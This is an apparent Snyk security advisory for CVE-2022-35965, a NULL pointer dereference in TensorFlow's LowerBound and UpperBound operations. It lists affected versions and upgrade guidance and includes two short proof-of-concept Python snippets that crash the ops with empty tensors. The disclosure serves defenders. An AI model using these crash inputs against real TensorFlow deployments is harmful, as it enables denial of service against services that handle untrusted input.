NULL Pointer Dereference Affecting tensorflow package, versions [,2.7.2)[2.8.0,2.8.1)[2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (37th percentile)

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  • Snyk IDSNYK-PYTHON-TENSORFLOW-3026868
  • published18 Sept 2022
  • disclosed16 Sept 2022
  • creditNeophytos Christou

Introduced: 16 Sep 2022

CVE-2022-35965  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade tensorflow to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference when LowerBound or UpperBound is given an empty sorted_inputs input.

PoC

import tensorflow as tf

out_type = tf.int32
sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32)
values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32)
tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)
import tensorflow as tf

out_type = tf.int64
sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32)
values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32)
tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type)

CVSS Scores

version 3.1